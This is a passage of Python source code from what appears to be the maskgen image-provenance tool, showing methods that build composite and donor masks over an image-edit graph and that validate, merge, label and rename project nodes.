_saveCompositeToFile(self, image, fname): try: image.save(os.path.abspath(os.path.join(self.get_dir(), fname))) except IOError: compositeMask = convertToMask(image) compositeMask.save(os.path.abspath(os.path.join(self.get_dir(), fname))) def _saveDonorToFile(self, recipientNode, baseNode, mask): """ Add mask to interim node and save mask to disk that has a input mask or a donor link """ if self.G.has_node(recipientNode): fname = shortenName(recipientNode + '_' + baseNode, '_d_mask.png') try: mask.save(os.path.abspath(os.path.join(self.get_dir(), fname))) except IOError: donorMask = convertToMask(mask) donorMask.save(os.path.abspath(os.path.join(self.get_dir(), fname))) return fname def getPredecessorNode(self): if self.end is None: for pred in self.G.predecessors(self.start): edge = self.G.get_edge(pred,self.start) if edge['op'] != 'Donor': return pred return self.start def getBaseNode(self,node): for pred in self.G.predecessors(node): edge = self.G.get_edge(pred, node) if edge['op'] != 'Donor': return self.getBaseNode(pred) return node def getDonorAndBaseImage(self): """ Get the donor image and associated baseImage for the selected node. """ nodeName = self.start if self.end is None else self.end # verify the node is a leaf node endPointTuples = self.getDonorAndBaseNodeTuples() for x in endPointTuples: if nodeName == x[0][1]: baseImage,_ = self.G.get_image(x[1]) donors = self.constructDonors(nodeOfInterest=nodeName) for target, base, mask_wrapper, mask_file_name in donors: if base == x[1]: return mask_wrapper, baseImage return None,None def _constructComposites(self, nodeAndMasks, stopAtNode=None, colorMap=dict(), level=IntObject(), operationTypes=None): """ Walks up down the tree from base nodes, assemblying composite masks :param nodeAndMasks: :param stopAtNode: the id of the node to stop inspection :param edgeMap: :param level: :param operationTypes: restrict operations to include :return: @type edgeMap: dict of (str,str):(int,[]) @type nodeAndMasks: (str,str, np.array) @type stopAtNode: str @type level: IntObject @type operationTypes: list of str """ result = list() finished = list() for nodeAndMask in nodeAndMasks: if nodeAndMask[1] == stopAtNode: return [nodeAndMask] successors = self.G.successors(nodeAndMask[1]) if len(successors) == 0: finished.append(nodeAndMask) continue for suc in self.G.successors(nodeAndMask[1]): edge = self.G.get_edge(nodeAndMask[1], suc) if edge['op'] == 'Donor': continue compositeMask = self._extendComposite(nodeAndMask[2], edge, nodeAndMask[1], suc, level=level, colorMap=colorMap, operationTypes=operationTypes) result.append((nodeAndMask[0], suc, compositeMask)) if len(result) == 0: return nodeAndMasks finished.extend(self._constructComposites(result, stopAtNode=stopAtNode, level=level, colorMap=colorMap, operationTypes=operationTypes)) return finished def _constructTransformedMask(self, edge_id, mask): """ walks up down the tree from base nodes, assemblying composite masks return: list of tuples (transformed mask, final image id) @rtype: list of (ImageWrapper,str)) """ results = [] successors = self.G.successors(edge_id[1]) for successor in successors: source = edge_id[1] target = successor edge = self.G.get_edge(source, target) if edge['op'] == 'Donor': continue edgeMask = self.G.get_edge_image(source, target, 'maskname', returnNoneOnMissing=True)[0] if edgeMask is None: raise ValueError('Missing edge mask from ' + source + ' to ' + target) edgeMask = edgeMask.to_array() newMask = mask_rules.alterComposite(edge, source, target, mask, edgeMask, self.get_dir(),graph=self.G) results.extend(self._constructTransformedMask((source, target), newMask)) return results if len(successors) > 0 else [(ImageWrapper(np.copy(mask)), edge_id[1])] def _constructDonor(self, node, mask): """ Walks up the tree assembling donor masks" """ result = [] preds = self.G.predecessors(node) if len(preds) == 0: return [(node, mask)] pred_edges = [self.G.get_edge(pred,node) for pred in preds] for pred in preds: edge = self.G.get_edge(pred,node) donorMask = mask_rules.alterDonor(mask, pred, node, edge, self.G.get_edge_image(pred, node, 'maskname',returnNoneOnMissing=True)[0], directory=self.get_dir(), pred_edges=[p for p in pred_edges if p != edge], graph=self.G) result.extend(self._constructDonor(pred, donorMask)) return result def getTransformedMask(self): """ :return: list a mask transfomed to all final image nodes """ selectMask = self.G.get_edge_image(self.start, self.end, 'maskname')[0] return self._constructTransformedMask((self.start, self.end), selectMask.to_array()) def extendCompositeByOne(self,compositeMask,level=None,replacementEdgeMask=None,colorMap={}, override_args={}): """ :param compositeMask: :param level: :param replacementEdgeMask: :param colorMap: :param override_args: :return: @type compositeMask: ImageWrapper @type level: IntObject @type replacementEdgeMask: ImageWrapper @rtype ImageWrapper """ edge = self.G.get_edge(self.start, self.end) if len(override_args)> 0 and edge is not None: edge = copy.deepcopy(edge) dictDeepUpdate(edge,override_args) else: edge = override_args level = IntObject() if level is None else level compositeMask = self._extendComposite(compositeMask, edge, self.start, self.end, level=level, replacementEdgeMask=replacementEdgeMask, colorMap=colorMap) return ImageWrapper(toColor(compositeMask, intensity_map=colorMap)) def constructCompositeForNode(self,selectedNode, level=IntObject(), colorMap=dict()): """ Construct the composite mask for the selected node. Does not save the composite in the node. Returns the composite mask if successful, otherwise None """ self._executeSkippedComparisons() baseNodes = self._findBaseNodes(selectedNode) if len(baseNodes) > 0: baseNode = baseNodes[0] composites = self._constructComposites([(baseNode, baseNode, None)], colorMap=colorMap, stopAtNode=selectedNode, level = level) for composite in composites: if composite[1] == selectedNode and composite[2] is not None: return composite[2] return None def constructComposite(self): """ Construct the composite mask for the selected node. Does not save the composite in the node. Returns the composite mask if successful, otherwise None """ colorMap = dict() level = IntObject() composite = \ self.constructCompositeForNode(self.end if self.end is not None else self.start, level = level, colorMap = colorMap) if composite is not None: return ImageWrapper(toColor(composite, intensity_map=colorMap)) return None def executeFinalNodeRules(self): terminalNodes = [node for node in self.G.get_nodes() if len(self.G.successors(node)) == 0 and len(self.G.predecessors(node)) > 0] for node in terminalNodes: graph_rules.setFinalNodeProperties(self, node) def constructCompositesAndDonors(self): """ Remove all prior constructed composites. Find all valid base node, leaf node tuples. Construct the composite make along the paths from base to lead node. Save the composite in the associated leaf nodes. """ self._executeSkippedComparisons() donors = self.constructDonors() composites = list() level = IntObject() colorMap = dict() endPointTuples = self.getTerminalAndBaseNodeTuples() for baseNode in set([endPointTuple[1][0] for endPointTuple in endPointTuples]): composites.extend(self._constructComposites([(baseNode, baseNode, None)], colorMap=colorMap,level=level)) changes = [] for composite in composites: color_composite = toColor(composite[2], intensity_map=colorMap) globalchange, changeCategory, ratio = maskChangeAnalysis(toComposite(composite[2]), globalAnalysis=True) changes.append((globalchange, changeCategory, ratio)) self._saveCompositeToFile(ImageWrapper(color_composite),composite[1] + '_composite_mask.png') return composites, donors def constructDonors(self, nodeOfInterest=None): """ Construct donor images Find all valid base node, leaf node tuples :return computed donors in the form of tuples (image node id donated to, base image node, ImageWrapper mask, filename) @rtype list of (str,str,ImageWapper,str) """ self._executeSkippedComparisons() donors = list() for edge_id in self.G.get_edges(): if nodeOfInterest is not None and nodeOfInterest != edge_id[1]: continue edge = self.G.get_edge(edge_id[0],edge_id[1]) startMask = None if edge['op'] == 'Donor': startMask = self.G.get_edge_image(edge_id[0],edge_id[1], 'maskname',returnNoneOnMissing=True)[0] if startMask is None: raise ValueError('Missing donor mask for ' + edge_id[0] + ' to ' + edge_id[1]) elif 'inputmaskname' in edge and \ edge['inputmaskname'] is not None and \ len(edge['inputmaskname']) > 0 and \ edge['recordMaskInComposite'] == 'yes': fullpath = os.path.abspath(os.path.join(self.get_dir(), edge['inputmaskname'])) if not os.path.exists(fullpath): raise ValueError('Missing input mask for ' + edge_id[0] + ' to ' + edge_id[1]) #invert because these masks are white=Keep(unchanged), Black=Remove (changed) #we want to capture the 'unchanged' part, where as the other type we capture the changed part startMask = self.G.openImage(fullpath, mask=False).to_mask().invert() if startMask is None: raise ValueError('Missing donor mask for ' + edge_id[0] + ' to ' + edge_id[1]) if startMask is not None: startMask = startMask.invert().to_array() donorsToNodes = {} donor_masks = self._constructDonor(edge_id[0], np.asarray(startMask)) for donor_mask_tuple in donor_masks: donor_mask = donor_mask_tuple[1].astype('uint8') if sum(sum(donor_mask > 1)) == 0: continue baseNode = donor_mask_tuple[0] if baseNode in donorsToNodes: # same donor image, multiple paths to the image. donorsToNodes[baseNode][donor_mask > 1] = 255 else: donorsToNodes[baseNode] = donor_mask.astype('uint8') for baseNode, donor_mask in donorsToNodes.iteritems(): wrapper = ImageWrapper(donor_mask).invert() fname = self._saveDonorToFile(edge_id[1], baseNode, wrapper) donors.append((edge_id[1],baseNode, wrapper, fname)) return donors def fixInputMasks(self): """ Temporary: Add missing input masks :return: """ for edge_id in self.G.get_edges(): edge = self.G.get_edge(edge_id[0],edge_id[1]) if graph_rules.missing_donor_inputmask(edge,self.G.dir): startimage,name = self.G.get_image(edge_id[0]) finalimage, fname = self.G.get_image(edge_id[1]) mask = self.G.get_edge_image(edge_id[0], edge_id[1], 'maskname')[0] inputmaskname = name[0:name.rfind('.')] + '_inputmask.png' ImageWrapper(composeCloneMask(mask,startimage,finalimage)).save(inputmaskname) # if 'arguments' not in edge: # edge['arguments'] = {} edge['inputmaskname'] = os.path.split(inputmaskname)[1] # edge['arguments']['inputmaskname'] = os.path.split(inputmaskname)[1] self.G.setDataItem('autopastecloneinputmask','yes') def renametobase(self): """ Rename the project to match the name of the base image :return: """ for nodeid in self.G.get_nodes(): node = self.G.get_node(nodeid) if 'nodetype' in node and node['nodetype'] == 'base': self.getGraph().set_name(node['file'][0:node['file'].rfind('.')]) break def addNextImage(self, pathname, invert=False, mod=Modification('', ''), sendNotifications=True, position=(50, 50), skipRules=False, edge_parameters={}, node_parameters={}): """ Given a image file name and PIL Image, add the image to the project, copying into the project directory if necessary. Connect the new image node to the end of the currently selected edge. A node is selected, not an edge, then connect to the currently selected node. Create the mask, inverting the mask if requested. Send a notification to the register caller if requested. Return an error message on failure, otherwise return None """ if (self.end is not None): self.start = self.end params = dict(node_parameters) params['xpos'] = position[0] params['ypos'] = position[1] params['nodetype'] = 'base' for k,v in self.getAddTool(pathname).getAdditionalMetaData(pathname).iteritems(): params[k] = v destination = self.G.add_node(pathname, seriesname=self.getSeriesName(), **params) analysis_params = dict(edge_parameters) msg, status = self._connectNextImage(destination, mod, invert=invert, sendNotifications=sendNotifications, skipRules=skipRules, analysis_params=analysis_params) return msg, status def getLinkType(self, start, end): return self.getNodeFileType(start) + '.' + self.getNodeFileType(end) def getLinkTool(self, start, end): return linkTools[self.getLinkType(start, end)] def mergeProject(self, project): """ Merge projects. Does not support updating edges or nodes. Instead, it only adds new edges and nodes. Should be used with caution. :param project: :return: @type project: ImageProjectModel """ # link from their node id to my node id merge_point = dict() myfiles = dict() for nodeid in self.getGraph().get_nodes(): mynode = self.getGraph().get_node(nodeid) myfiles[mynode['file']] = (nodeid, md5offile(os.path.join(self.G.dir, mynode['file']), raiseError=False)) for nodeid in project.getGraph().get_nodes(): theirnode = project.getGraph().get_node(nodeid) theirfilemd5 = md5offile(os.path.join(project.get_dir(), theirnode['file']), raiseError=False) if theirnode['file'] in myfiles: if myfiles[theirnode['file']][1] != theirfilemd5: logging.getLogger('maskgen').warn( 'file {} is in both projects but MD5 is different'.format(theirnode['file'])) else: merge_point[nodeid] = myfiles[theirnode['file']][0] if len(merge_point) == 0: return 'No merge points found' for nodeid in project.getGraph().get_nodes(): theirnode = project.getGraph().get_node(nodeid) if nodeid not in merge_point: merge_point[nodeid] = self.getGraph().add_node(os.path.join(project.get_dir(),theirnode['file']), **theirnode) for start,end in project.getGraph().get_edges(): mystart = merge_point[start] myend = merge_point[end] edge = self.getGraph().get_edge(mystart,myend) if edge is None: self.getGraph().copy_edge(mystart, myend, dir=project.get_dir(), edge=project.getGraph().get_edge(start,end)) def getAddTool(self, media): """" :param media: :return: @rtype : AddTool """ return addTools[fileType(media)] def hasSkippedEdges(self): return len( self.G.getDataItem('skipped_edges', [])) > 0 def _executeQueue(self,q,results): from Queue import Queue,Empty """ :param q: :return: @type q : Queue @type failures: Queue """ while not q.empty(): try: edge_data = q.get_nowait() if edge_data is None: break logging.getLogger('maskgen').info('Recomputing mask for edge {} to {} using operation {}'.format( edge_data['start'], edge_data['end'], edge_data['opName'] )) mask, analysis, errors = self.getLinkTool(edge_data['start'], edge_data['end']).compareImages( edge_data['start'], edge_data['end'], self, edge_data['opName'], arguments=edge_data['arguments'], skipDonorAnalysis=edge_data['skipDonorAnalysis'], invert=edge_data['invert'], analysis_params=edge_data['analysis_params']) results.put(((edge_data['start'], edge_data['end']), True, errors)) self.G.update_mask(edge_data['start'], edge_data['end'], mask=mask, errors=errors, **consolidate(analysis, edge_data['analysis_params'])) except Empty: break except Exception as e: results.put(((edge_data['start'], edge_data['end']),False, [str(e)])) return def _executeSkippedComparisons(self): from Queue import Queue from threading import Thread allErrors = [] completed = [] q = Queue() results = Queue() skipped_edges = self.G.getDataItem('skipped_edges', []) for edge_data in skipped_edges: q.put(edge_data) skipped_threads = prefLoader.get_key('skipped_threads', 2) logging.getLogger('maskgen').info('Recomputing {} masks with {} threads'.format(q.qsize(), skipped_threads)) threads = list() for i in range(int(skipped_threads)): t = Thread(target=self._executeQueue, name='skipped_edges' + str(i), args=(q,results)) threads.append(t) t.start() for thread in threads: thread.join() while not results.empty(): result = results.get_nowait() allErrors.extend(result[2]) if result[1]: completed.append(result[0]) self.G.setDataItem('skipped_edges',[edge_data for edge_data in skipped_edges if (edge_data['start'], edge_data['end']) not in completed]) msg = os.linesep.join(allErrors).strip() return msg if len(msg) > 0 else None def _compareImages(self, start, destination, opName, invert=False, arguments={}, skipDonorAnalysis=True, analysis_params=dict(), force=False): if prefLoader.get_key('skip_compare') and not force: self.G.setDataItem('skipped_edges', self.G.getDataItem('skipped_edges',list()) + [{"start":start, "end":destination, "analysis_params":analysis_params, "arguments": arguments, "opName": opName, "skipDonorAnalysis":skipDonorAnalysis, "invert":invert }]) return None, {}, [] try: for k,v in getOperationWithGroups(opName).compareparameters.iteritems(): arguments[k] = v except: pass return self.getLinkTool(self.start, destination).compareImages(self.start, destination, self, opName, arguments=arguments, skipDonorAnalysis=skipDonorAnalysis, invert=invert, analysis_params=analysis_params) def reproduceMask(self,skipDonorAnalysis=False,analysis_params=dict()): edge = self.G.get_edge(self.start, self.end) arguments= dict(edge['arguments']) if 'arguments' in edge else dict() if 'inputmaskname' in edge and edge['inputmaskname'] is not None: arguments['inputmaskname'] = edge['inputmaskname'] mask, analysis, errors = self._compareImages(self.start, self.end, edge['op'], arguments=arguments, skipDonorAnalysis=skipDonorAnalysis, analysis_params=analysis_params, force=True) self.G.update_mask(self.start, self.end, mask=mask,errors=errors,**consolidate(analysis,analysis_params)) return errors def _connectNextImage(self, destination, mod, invert=False, sendNotifications=True, skipRules=False, skipDonorAnalysis=False, analysis_params={}): try: maskname = shortenName(self.start + '_' + destination, '_mask.png') if mod.inputMaskName is not None: mod.arguments['inputmaskname'] = mod.inputMaskName mask, analysis, errors = self._compareImages(self.start, destination, mod.operationName, invert=invert, arguments=mod.arguments, skipDonorAnalysis=skipDonorAnalysis, analysis_params=analysis_params) self.end = destination if errors: mod.errors = errors for k,v in analysis_params.iteritems(): if k not in analysis: analysis[k] = v self.__addEdge(self.start, self.end, mask, maskname, mod, analysis) edgeErrors = [] if skipRules else graph_rules.run_rules(mod.operationName, self.G, self.start, destination) msgFromRules = os.linesep.join(edgeErrors) if len(edgeErrors) > 0 else '' if (self.notify is not None and sendNotifications): self.notify((self.start, destination), 'connect') msgFromErrors = "Comparison errors occured" if errors and len(errors) > 0 else '' msg = os.linesep.join([msgFromRules, msgFromErrors]).strip() msg = msg if len(msg) > 0 else None self.labelNodes(self.start) self.labelNodes(destination) return msg, True except ValueError as e: return 'Exception (' + str(e) + ')', False def __scan_args_callback(self,opName, arguments): """ Call back function for image graph's arg_checker_callback. Add any discovered arguments that are associated with file paths so that the image graph can managed the file existence and archiving :param opName: :param arguments: :return: """ if len(arguments) > 0 and opName != 'node': self.__addEdgeFilePaths(getOperationWithGroups(opName, fake=True)) def __addEdgeFilePaths(self,op): for k,v in op.mandatoryparameters.iteritems(): if k =='inputmaskname': continue if v['type'].startswith('fileset:') or v['type'].startswith('file:'): self.G.addEdgeFilePath('arguments.' +k,'') for k,v in op.optionalparameters.iteritems(): if k == 'inputmaskname': continue if v['type'].startswith('fileset:') or v['type'].startswith('file:'): self.G.addEdgeFilePath('arguments.' +k,'') def __addEdge(self, start, end, mask, maskname, mod, additionalParameters): if len(mod.arguments) > 0: additionalParameters['arguments'] = {k: v for k, v in mod.arguments.iteritems() if k != 'inputmaskname'} self.G.add_edge(start, end, mask=mask, maskname=maskname, op=mod.operationName, description=mod.additionalInfo, recordMaskInComposite=mod.recordMaskInComposite, editable='no' if ( mod.software is not None and mod.software.internal) or mod.operationName == 'Donor' else 'yes', softwareName=('' if mod.software is None else mod.software.name), softwareVersion=('' if mod.software is None else mod.software.version), inputmaskname=mod.inputMaskName, automated=mod.automated, semanticGroups = mod.semanticGroups, errors=mod.errors, **additionalParameters) self._save_group(mod.operationName) def _save_group(self, operation_name): op = getOperationWithGroups(operation_name, fake=True) if op.groupedOperations is not None and len(op.groupedOperations) > 0: groups = self.G.getDataItem('groups') if groups is None: groups = dict() groups[operation_name] = op.groupedOperations self.G.setDataItem('groups',groups,excludeUpdate=True) def getSeriesName(self): """ A Series is the prefix of the first image node """ if self.start is None: return None startNode = self.G.get_node(self.start) prefix = None if (startNode.has_key('seriesname')): prefix = startNode['seriesname'] if (self.end is not None): endNode = self.G.get_node(self.end) if (endNode.has_key('seriesname')): prefix = startNode['seriesname'] return prefix def toCSV(self, filename, additionalpaths=list(), edgeFilter=None): """ Create a CSV containing all the edges of the graph. By default, the first columns are project name, edge start node id, edge end node id, and edge operation. :param filename: :param additionalpaths: paths that describe nested keys within the edge dictionary identifying those keys' value to be placed as columns in the CSV :param edgeFilter: a function that accepts the edge dictionary and returns True if the edge is to be included in the CSV file. If the edgeFilter is None or not provided, all edges are included in the CSV file :return: None @type filename: str @type edgeFilter: func """ import csv csv.register_dialect('unixpwd', delimiter=',', quoting=csv.QUOTE_MINIMAL) with open(filename,"ab") as fp: fp_writer = csv.writer(fp) for edge_id in self.G.get_edges(): edge = self.G.get_edge(edge_id[0],edge_id[1]) if edgeFilter is not None and not edgeFilter(edge): continue row = [self.G.get_name(), edge_id[0], edge_id[1], edge['op']] baseNodes = self._findBaseNodes(edge_id[0]) for path in additionalpaths: if path == 'basenode': row.append(baseNodes[0]) continue values = getPathValues(edge, path) if len(values) > 0: row.append(values[0]) else: row.append('') fp_writer.writerow(row) def getName(self): return self.G.get_name() def operationImageName(self): return self.end if self.end is not None else self.start def getFileName(self, nodeid): return self.G.get_node(nodeid)['file'] def startImageName(self): return self.G.get_node(self.start)['file'] if self.start is not None else "" def nextImageName(self): return self.G.get_node(self.end)['file'] if self.end is not None else "" def nextId(self): return self.end def undo(self): """ Undo the last graph edit """ s = self.start e = self.end self.start = None self.end = None self.G.undo() if self.notify is not None: self.notify((s,e), 'undo') def select(self, edge): self.start = edge[0] self.end = edge[1] def startNew(self, imgpathname, suffixes=[], organization=None): """ Inititalize the ProjectModel with a new project given the pathname to a base image file in a project directory """ projectFile = imgpathname[0:imgpathname.rfind(".")] + ".json" projectType = fileType(imgpathname) self.G = self._openProject(projectFile,projectType) if organization is not None: self.G.setDataItem('organization', organization) self.start = None self.end = None self.addImagesFromDir(os.path.split(imgpathname)[0], baseImageFileName=os.path.split(imgpathname)[1], suffixes=suffixes, \ sortalg=lambda f: os.stat(os.path.join(os.path.split(imgpathname)[0], f)).st_mtime) def load(self, pathname): """ Load the ProjectModel with a new project/graph given the pathname to a JSON file in a project directory """ self._setup(pathname) def _openProject(self, projectFileName, projecttype): return createGraph(projectFileName, projecttype=projecttype, arg_checker_callback=self.__scan_args_callback, edgeFilePaths={'inputmaskname': 'inputmaskownership', 'selectmasks.mask': '', 'videomasks.videosegment': ''}, nodeFilePaths={'donors.*': ''}) def _autocorrect(self): updateJournal(self) def _setup(self, projectFileName, graph=None,baseImageFileName=None): projecttype = None if baseImageFileName is None else fileType(baseImageFileName) self.G = self._openProject(projectFileName,projecttype) if graph is None else graph self._autocorrect() self.start = None self.end = None n = self.G.get_nodes() if len(n) > 0: self.start = n[0] s = self.G.successors(n[0]) if len(s) > 0: self.end = s[0] else: p = self.G.predecessors(n[0]) if len(p) > 0: self.start = p[0] self.end = n[0] for group, ops in self.G.getDataItem('groups', default_value={}).iteritems(): injectGroup(group,ops) def getStartType(self): return self.getNodeFileType(self.start) if self.start is not None else 'image' def getEndType(self): return self.getNodeFileType(self.end) if self.end is not None else 'image' def getNodeFileType(self, nodeid): node = self.G.get_node(nodeid) if node is not None and 'filetype' in node: return node['filetype'] else: return fileType(self.G.get_image_path(nodeid)) def saveas(self, pathname): with self.lock: self.clear_validation_properties() self.G.saveas(pathname) def save(self): with self.lock: self.clear_validation_properties() self.G.save() def getEdgeItem(self, name, default=None): edge = self.G.get_edge(self.start,self.end) return edge[name] if name in edge else default def getDescriptionForPredecessor(self, node): for pred in self.G.predecessors(node): edge = self.G.get_edge(pred, node) if edge['op'] != 'Donor': return self.getModificationForEdge(pred, node, edge) return None def getDescription(self): if self.start is None or self.end is None: return None edge = self.G.get_edge(self.start, self.end) if edge is not None: return self.getModificationForEdge(self.start, self.end,edge) return None def getImage(self, name): if name is None or name == '': return ImageWrapper(np.zeros((250, 250, 4)).astype('uint8')) return self.G.get_image(name)[0] def getImageAndName(self, name, arguments=dict()): """ :param name: :param arguments: :return: @rtype (ImageWrapper,str) """ if name is None or name == '': return ImageWrapper(np.zeros((250, 250, 4)).astype('uint8')) return self.G.get_image(name,metadata=arguments) def getStartImageFile(self): return os.path.join(self.G.dir, self.G.get_node(self.start)['file']) def getNextImageFile(self): return os.path.join(self.G.dir, self.G.get_node(self.end)['file']) def startImage(self): return self.getImage(self.start) def nextImage(self): if self.end is None: dim = (250, 250) if self.start is None else self.getImage(self.start).size return ImageWrapper(np.zeros((dim[1], dim[0])).astype('uint8')) return self.getImage(self.end) def updateSelectMask(self,selectMasks): if self.end is None: return sms = [] for k,v in selectMasks.iteritems(): if v is not None: sms.append({'mask': v[0], 'node': k}) self.G.update_edge(self.start, self.end, selectmasks=sms) def _getUnresolvedSelectMasksForEdge(self, edge): """ A selectMask is a mask the is used in composite mask production, overriding the default link mask """ images = edge['selectmasks'] if 'selectmasks' in edge else [] sms = {} for image in images: sms[image['node']] = image['mask'] return sms def getSelectMasks(self): """ A selectMask is a mask the is used in composite mask production, overriding the default link mask """ if self.end is None: return {} edge = self.G.get_edge(self.start, self.end) terminals = self._findTerminalNodes(self.end,excludeDonor=True, includeOps=['Recapture','TransformWarp','TransformContentAwareScale','TransformDistort','TransformSkew','TransformSeamCarving']) images = edge['selectmasks'] if 'selectmasks' in edge else [] sms = {} for image in images: if image['node'] in terminals: sms[image['node']] = (image['mask'], openImageFile(os.path.join(self.get_dir(), image['mask']), isMask=False)) for terminal in terminals: if terminal not in sms: sms[terminal] = None return sms def maskImageName(self): if self.end is None: return '' edge = self.G.get_edge(self.start, self.end) return edge['maskname'] if 'maskname' in edge else '' def maskImage(self): if self.end is None: dim = (250, 250) if self.start is None else self.getImage(self.start).size return ImageWrapper(np.zeros((dim[1], dim[0])).astype('uint8')) return self.G.get_edge_image(self.start, self.end, 'maskname')[0] def maskStats(self): if self.end is None: return '' edge = self.G.get_edge(self.start, self.end) if edge is None: return '' stat_names = ['ssim','psnr','local psnr', 'local ssim','shape change','masks count','change size category','change size ratio'] return ' '.join([ key + ': ' + formatStat(value) for key,value in edge.items() if key in stat_names ]) def currentImage(self): if self.end is not None: return self.getImageAndName(self.end) elif self.start is not None: return self.getImageAndName(self.start) return None, None def selectImage(self, name): if self.G.has_node(name): self.start = name self.end = None def selectEdge(self, start, end): if self.G.has_node(start): self.start = start if self.G.has_node(end): self.end = end def remove(self): s = self.start e = self.end """ Remove the selected node or edge """ if (self.start is not None and self.end is not None): self.G.remove_edge(self.start, self.end) self.labelNodes(self.start) self.labelNodes(self.end) self.end = None else: name = self.start if self.end is None else self.end p = self.G.predecessors(self.start) if self.end is None else [self.start] self.G.remove(name, None) self.start = p[0] if len(p) > 0 else None self.end = None for node in p: self.labelNodes(node) if self.notify is not None: self.notify((s,e), 'remove') def getProjectData(self, item,default_value=None): return self.G.getDataItem(item,default_value=default_value) def setProjectData(self, item, value,excludeUpdate=False): """ :param item: :param value: :param excludeUpdate: True if the update does not change the update time stamp on the journal :return: """ self.G.setDataItem(item, value,excludeUpdate=excludeUpdate) def get_edges(self): return [self.G.get_edge(edge[0],edge[1]) for edge in self.G.get_edges()] def getVersion(self): """ Return the graph/software versio n""" return self.G.getVersion() def getGraph(self): return self.G def validate(self, external=False): """ Return the list of errors from all validation rules on the graph. """ self._executeSkippedComparisons() logging.getLogger('maskgen').info('Begin validation for {}'.format(self.getName())) total_errors = list() finalNodes = list() if len(self.G.get_nodes()) == 0: return total_errors for node in self.G.get_nodes(): if not self.G.has_neighbors(node): total_errors.append((str(node), str(node), str(node) + ' is not connected to other nodes')) predecessors = self.G.predecessors(node) if len(predecessors) == 1 and self.G.get_edge(predecessors[0],node)['op'] == 'Donor': total_errors.append((str(predecessors[0]), str(node), str(node) + ' donor links must coincide with another link to the same destintion node')) successors = self.G.successors(node) if len(successors) == 0: finalNodes.append(node) project_type = self.G.get_project_type() matchedType = [ node for node in finalNodes if fileType(os.path.join(self.get_dir(),self.G.get_node(node)['file'])) == project_type ] if len(matchedType) == 0 and len(finalNodes) > 0: self.G.setDataItem('projecttype', fileType(os.path.join(self.get_dir(),self.G.get_node(finalNodes[0])['file']))) nodes = self.G.get_nodes() anynode = nodes[0] nodeSet = set(nodes) for prop in getProjectProperties(): if prop.mandatory: item = self.G.getDataItem(prop.name) if item is None or len(item.strip()) < 3: total_errors.append((str(anynode), str(anynode), 'Project property ' + prop.description + ' is empty or invalid')) for found in self.G.findRelationsToNode(nodeSet.pop()): if found in nodeSet: nodeSet.remove(found) for node in nodeSet: total_errors.append((str(node), str(node), str(node) + ' is part of an unconnected subgraph')) total_errors.extend(self.G.file_check()) cycleNode = self.G.getCycleNode() if cycleNode is not None: total_errors.append((str(cycleNode), str(cycleNode), "Graph has a cycle")) for node in self.G.get_nodes(): for error in graph_rules.check_graph_rules(self.G,node,external=external,prefLoader=prefLoader): total_errors.append((str(node), str(node), error)) for frm, to in self.G.get_edges(): edge = self.G.get_edge(frm, to) op = edge['op'] errors = graph_rules.run_rules(op, self.G, frm, to) if len(errors) > 0: total_errors.extend([(str(frm), str(to), str(frm) + ' => ' + str(to) + ': ' + err) for err in errors]) return total_errors def assignColors(self): level = 1 edgeMap = dict() for edge_id in self.G.get_edges(): edge = self.G.get_edge(edge_id[0],edge_id[1]) if 'recordMaskInComposite' in edge and edge['recordMaskInComposite'] == 'yes': edgeMap[edge_id] = (level,None) level = level + 1 redistribute_intensity(edgeMap) for k, v in edgeMap.iteritems(): self.G.get_edge(k[0], k[1])['linkcolor'] = str(list(v[1])).replace('[', '').replace(']','').replace( ',', '') return edgeMap def __assignLabel(self, node, label): prior = self.G.get_node(node)['nodetype'] if 'nodetype' in self.G.get_node(node) else None if prior != label: self.G.update_node(node, nodetype=label) if self.notify is not None: self.notify(node, 'label') def renameFileImages(self): """ :return: list of node ids renamed """ renamed = [] for node in self.getNodeNames(): self.labelNodes(node) nodeData = self.G.get_node(node) if nodeData['nodetype'] in ['final']: logging.getLogger('maskgen').info( 'Inspecting {} for rename'.format(nodeData['file'])) suffix_pos = nodeData['file'].rfind('.') suffix = nodeData['file'][suffix_pos:].lower() file_path_name = os.path.join(self.G.dir, nodeData['file']) try: new_file_name = md5offile(os.path.join(self.G.dir, nodeData['file'])) + suffix fullname = os.path.join(self.G.dir, new_file_name) except: logging.getLogger('maskgen').error( 'Missing file or invalid permission: {} '.format( nodeData['file'])) continue if not os.path.exists(fullname): try: os.rename(file_path_name, fullname) renamed.append(node) logging.getLogger('maskgen').info('Renamed {} to {} '.format( nodeData['file'], new_file_name)) self.G.update_node(node,file=new_file_name) except Exception as e: try: logging.getLogger('maskgen').error(('Failure to rename file {} : {}. Trying copy').format(file_path_name,str(e))) shutil.copy2(file_path_name,fullname) logging.getLogger('maskgen').info( 'Renamed {} to {} '.format(nodeData['file'], new_file_name)) self.G.update_node(node, file=new_file_name) except: continue else: logging.getLogger('maskgen').warning('New name ' + new_file_name + ' already exists') self.save() return renamed def labelNodes(self, destination): baseNodes = [] donorNodes = [] terminalNodes = [] candidateBaseDonorNodes = self._findBaseNodes(destination, excludeDonor=False) for baseCandidate in candidateBaseDonorNodes: foundTerminalNodes = self._findTerminalNodes(baseCandidate,excludeDonor=True) terminalNodes.extend(foundTerminalNodes) if len(foundTerminalNodes) > 0: baseNodes.append(baseCandidate) else: donorNodes.append(baseCandidate) for node in donorNodes: self.__assignLabel(node, 'donor') for node in baseNodes: self.__assignLabel(node, 'base') if len(self.G.successors(destination)) == 0: if len(self.G.predecessors(destination)) == 0: self.__assignLabel(destination, 'base') else: self.__assignLabel(destination, 'final') elif len(self.G.predecessors(destination)) > 0: self.__assignLabel(destination, 'interim') elif 'nodetype' not in self.G.get_node(destination): self.__assignLabel(destination, 'base') def finalNodes(self): final = [] for name in self.getNodeNames(): node = self.G.get_node(name) if node['nodetype'] == 'final': final.append(name) return final def _findTerminalNodes(self, node, excludeDonor=False,includeOps=None): terminalsWithOps = self._findTerminalNodesWithCycleDetection(node, visitSet=list(),excludeDonor=excludeDonor) return [terminalWithOps[0] for terminalWithOps in terminalsWithOps if includeOps is None or len(set(includeOps).intersection(terminalWithOps[1])) > 0] def _findTerminalNodesWithCycleDetection(self, node, visitSet=list(),excludeDonor=False): succs = self.G.successors(node) if len(succs) == 0: return [(node,[])] res = list() for succ in succs: if succ in visitSet: continue op = self.G.get_edge(node, succ)['op'] if op == 'Donor' and excludeDonor: continue visitSet.append(succ) terminals = self._findTerminalNodesWithCycleDetection(succ, visitSet=visitSet, excludeDonor=excludeDonor) for term in terminals: term[1].append(op) res.extend(terminals) return res def _findEdgesWithCycleDetection(self, node, excludeDonor=True, visitSet=list()): preds = self.G.predecessors(node) res = list() for 